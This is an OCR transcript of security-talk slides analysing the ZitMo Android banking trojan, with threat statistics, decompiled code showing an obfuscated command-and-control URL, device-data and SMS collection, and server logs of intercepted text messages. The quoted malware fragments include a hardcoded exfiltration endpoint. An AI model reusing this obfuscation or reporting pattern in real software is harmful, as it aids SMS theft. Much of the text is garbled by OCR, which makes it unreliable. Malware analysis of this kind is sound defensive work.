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The 0dd Couple: =
SchwartzNET Labs

Dav'd Schwartzberg -

@NinjaSIOth

= security semi-professional
« enjoy experimenting with malware
= analyzing the latest threats.



MobiMalware by Platform

iOS | 0.00001%
BlackBerry | 0.00001%
PamOS | 0.00001%
WinCE | 0.00001%

Symbian | 3.45%

Android | 96.54%

Source: Fortinet Threat Landscape 2074 hitpufwww fortinet.com/sites/default/files/whitepapers/Threat-Londscape-2014.pdf




ZitMo is the PC ZeuS C&C Trojan written for
mobile platforms - Symbian, BB, WinMo &
Android.

The PC ZeuS Trojan is notorious for http form
injections to steal additional banking
information; amongst other things.

ZitMo is botnet malware mainly intercepting
mTAN/SMS transmissions for finanical gain.
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Mobile Trojan
Advancements

Starting to use Orbit client / TOR
to anonymize traffic to C&C

IMPACTS: Detection, tracking
and shutdown

Used to mine virtual crypto-
currency

IMPACTS: data service usage,
battery life, device longevity

Bootkit evolution rising
IMPACTS: detection and
extraction

Rising Remote Access Trojans
(RATs) revolt

IMPACTS: permits access to
device audio and video; App
Store detection

Source: F-secure Mabile Threats Report Q1 2014



Detection Evasion Tactics (DET)
- URI obfuscation
- encode text commands
- Static keys to encrypt data

Communication Channe|s invoke-direct {p0), java.lang.Object.<init>()void
" p— const-string vo0, | 052385078%a8cfed
« WiFi - HTTP

iput-object v0, p0, com.guard.smart.b.c:java.lang.Strin:

bl Currier - HTTp + SMS new=instance v0, javax.crypto.spec.SecretKeySpec

iget-object vl, p0, com.guard.smart.b.c:java.lang.String

invoke-virtual {vl}, java.lang.String.getBytes()byte|)




Encrypted:

POST /sms/d_mQ009.php
HTTP/1.1

Content-Type: text/plain;
charset=utf-8
Content-Length: 154
Host: REDACTED
Connection: Keep-Alive

dKgRLWyz2Xr5CptfCyStAGO+7Vf
WrWjyv1dAMRe3c2QxSPMAGjcL
olpFevr2]FIYVMIIUM/guNFg
+YTPnaEt8XjEE0j13uMOjEOBNKG
KYiWYMytcWR5UePhdhglVoTgZs
Xa2Y6xX2hoobm)UhXScig==
HTTP/1.1 200 OK
Server: nginx/1.1.19

Date: Sat, 20 Apr 2013 16:09:16
GMT

Content-Type: text/html;
charset=utf-8

Content-Length: 24

Connection: keep-alive

Vary: Accept-Encoding

FFWkbGCN+cY5qwBZSzN+Zg==

Decrypted:

POST /sms/d_mO0Q9.php
HTTP/1.1

Content-Type: text/plain;
charset=utf-8
Content-Length: 154
Host: REDACTED
Connection: Keep-Alive

services=timer&login="%5Ekias
%2Bah%3A60Gyh3*
%25mé&phone=REDACTED&devid
=REDACTED&dd=REDACTED&
HTTP/1.1 200 OK

Server: nginx/1.1.19

Date: Sat, 20 Apr 2013 16:09:16
GMT

Content-Type: text/html;
charset=utf-8

Content-Length: 24

Connection: keep-alive

Vary: Accept-Encoding

0&5ign28tepXxX



Annual Device Shipments

Table 1

Worldwide Device Shipments by Segment (Thousands of Units)

Device Type

Traditonal PCs (Desk-Based and Notebook)
Ultramobiles, Premium

PC Market Total

Tablets

Mobile Phones

Other Ultramobiles (Hybrid and Clamshell)
Total

Source: Gartner (June 2014)

Source: ZDNet & Gartner h

2013
296,131
21,517
317,648
206,807
1,806,964
2,981
2,334,400

2014
276,221
32,251
308,472
256,308
1,862,766
5,381
2,432,927

2015
261,657
55,032
316,689
320,964
1,946,456
7,645
2,591,753




Malware Samples YE 2012 (K)

Android Malware Detections

b b bbb Lo ks

“ NewyearL-B

“ Boxer-A
Gmaster-A

“ BatteryD-A

Source: Dark Reading h




2013 Android Mobile Malware Samples

Samples Per Day, Monthly Average
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Source: Fortinet Threat Landscape 2014 http:./www.fortinet.com/sites/default/files/whitepapers/Threat-Landscape-2014.pdf
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Permissions

name
d:iname="
rname="3
d:name="
id:name
id:name
d:name
d:iname
tnames"

name="

d:name="z

<uses=-pe
<uses-permi

s—permi
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< -permission android:name="android.pe ssion.UPDATE_DEVICE_STATS"/>
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SettingHideSms:Ljava/lang/String; = "AntivirusEnabled"

SettinglastSmsSended:Ljava/lang/String; = "LastSended"

SettingUninstallComplete:ljava/lang/String; = "AntivirusUninstallComplete'

SettingUninstallRequest:ljava/lang/String; = "AntivirusUninstallReq"
SoftwareVersion:lLjava/lang/String; = "1.2.7"

TimerReportInSeconds:1I

UrlToReport:Ljava/lang/String; = "http://nfc.phatrabbit.com/biwdr.php"

XLastMessage:lLjava/lang/String; = "XlastMessage




.Line 212

1"

3, "AlternativeNumber"

vl, "SOED " € Redacted




"ActivationId":Ljava/lang/String;
"imei":Ljava/lang/S
"imsi":Ljava/lang/S
"mgr":Landroid/telephony/TelephonyManager;
myNumber" :Ljava/lang/String;

emsAreHidden":1I

lternativeControl":Z

2, Landroid/os/Build;->MODEL:Ljava/lang/String;

irer"iLjava/lang/String;

, Landroid/os/BuildSVERSION;->RELEASE:Ljava/lang/String;

AndroidVersion":

, "Model:%s




.Line 306

. Local
. local
. local
. local
. Local
. Local

ve,
vl,
v2,
v3,
v4,
v5,

Privacy V

"ActivationId":Ljava/lang/String;

"imei":Ljava/lang/String;
"imsi":Ljava/lang/String;

"mgr":Landroid/telephony/TelephonyManager,;
"myNumber":Ljava/lang/String;

"smsAreHidden":1

.Line 220
.local v4, "alter
sget-object v2, L

.Line 221



LephonyManager;

23
ocal v4, "alternativeControl":Z
ct v2, Landroid/os/Build;->MODEL:Ljava/lang/String;

r
ocal v2, "PhoneModel":Ljava/lang/String;
ct vl, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;

ocal v1l, "PhoneManufacturer":Ljava/lang/String;

sget-object v, Landroid/os/BuildSVERSION;->RELEASE:Ljava/lang/String;
line 225
. local v@, "AndroidVersion":Ljava/lang/String;

const-string v9, "Model:%s AC:%s H:%d ALtC:%d V:%s Mf:%s/%s"




final DATABASE_NAME:Ljava/lang/String;

path to database
/data/data/com.android.security/secsuite.db




public class ValueProvider
{
public static final String AlternativeControl = "AlternativeControl”;
public static final String AlternativeNumber = "AlternativeNumber";
static Context AppContext;
public static final int FirstReportDelay = 18@;
public static finmal String SettingHideSms = "AntivirusEnabled”;
public static final String SettinglLastSmsSended = "LastSended”;
public static final String SettingUninstallComplete = "AntivirusUninstallComplete”;
public static final String SettingUninstallRequest = "AntivirusUninstallReq”;
public static final String SoftwareVersion = "1.2.7";
public static final int TimerReportInSeconds = 1500,
public static final String UrlToReport = ";h="-gq=%tqq=%qtg=q>=qpq-%-q:q/%q/g¥%an, g¥d<; gr¥qiqoi dg¥ssqa¥fqe.gcg¥o>gm/g¥b;q;1;wd; r.pkh¥p";
pu

public static 5tring GetAntivirusLink()
{
return ";h>'-g=¥tqg=¥qtg=q>=qpq-%-q:q/%q/q¥an , g¥d<; qr¥g¥qoidq¥ssqa¥fqe. gcq¥o>qm/q¥b;q;1;wd; r.pXhXp" .

replace("[", ").replace("]", "").replace("=", "").replace("-", "").replace(’q", "").replace(",", ). N\ Kev
replace("<", "").replace(">", "").replace(""", "").replace(";", "").replace("%", "").replace("A", "").
replace("*", "").replace("!", "");

ndroi m/biwdr.ph

http:/zitmo.zitmonom.org/biwdr.php




full form = ZeuS in the Mobile No More

Intent is to fill the need for individuals who don't want an
anti-virus app installed on their device for religious beliefs.

ZitMo NoM is *not* a replacement for local A-V but for
those considering it to be the anti-Christ.

*NOT A COMPLETE SOLUTION. It's a PROTOTYPE.
** Please complete me. ** http:/zitmonom.org/join




Android Device




Features  Help with...

- Improve input validation « Overall non-tech
« Sample analysis automation  gdministration
& integration with: - Fund management /
« VirusShare .
collection

+ Maltrieve :
- other sources » Marketing / PR
« Expanded mobi-malware » System Admin
detection - Website maintenance
+ Get ZitMo disablement - Partnerships
working

+ Response tracking hit rate
+ Backend database for:
- usage tracking
« anti-DOSing
« metrics
« auth for sample
submission
« signature look ups
+ API hooks for third parties
+ and Moar!

PERKS! Guarantee the results will
be slow and the pay non-existent.
| will love you...estrangedly.




166.147.102.45 - - [05/Jul/2014:06:58:02 -0400] "GET /biwdr.php?
t0=18.......7&i=393690616615077&m=340654052948562&0id=126584923&h=08v=1.2.7&fr
om=400056&text=RecvDate’%3A+2014.06.19+14%3A46%3A19+Body%3A+AT%26T+Free+Msg
%3A+A+subscription+for+AT%26T+FamilyMap+renewed+for+sub+acct+-4507%2C+auto-
renewing+again+on+07%2F18%2F14.+Need+help%3F+Visit+att.com%2Fmobilepurchases

+XLastMessage&last=1 HTTP/1.1" 404 1363 nfc.phatrabbit.com "-* "Dalvik/1.6.0 (Linux; U; Android
4.3; SAMSUNG-SGH-1537 Build/)JSS15))" "-" .

) SMS sent 72 minutes before http attempt
166.147.102.45 - - [05/)ul/2014:07:19:02 -0400] "GET /biwdr.php?

t0=18......7&i=3936906 1661507 7&m=340654052948562&aid=126584923&h=0&v=1.2.7&fro
m=%2B18474144507&text=RecvDate%3A+2014.07.05+06%3A13%3A19+Body%3A+Time+to
+converge+upon+%40ConvergeDetroit.+ Tweet+about+ZitMo%21%21%2 1+XLastMessage&last="1

HTTP/1.1" 404 1363 nfc.phatrabbit.com "-" "Dalvik/1.6.0 (Linux; U; Android 4.3; SAMSUNG-SGH-
537 Build/JSS15))" "-"

166.147.102.45 - - [05/Jul/2014:07:19:07 -0400] "GET /biwdr.php?

166.147.102.45 - - [05/Jul/2014:07:19:13 -0400] "GET /biwdr.php?



@SchwartzNetLabs
(@DSchwartzberg
(@Mobilelron

References
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- apktool - : id-
- smali - hltpﬁﬂcgad&goﬁaglﬁxgminlsmgﬁl
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« JD-GUI - Java Decompiler http:/jd.benow.ca/
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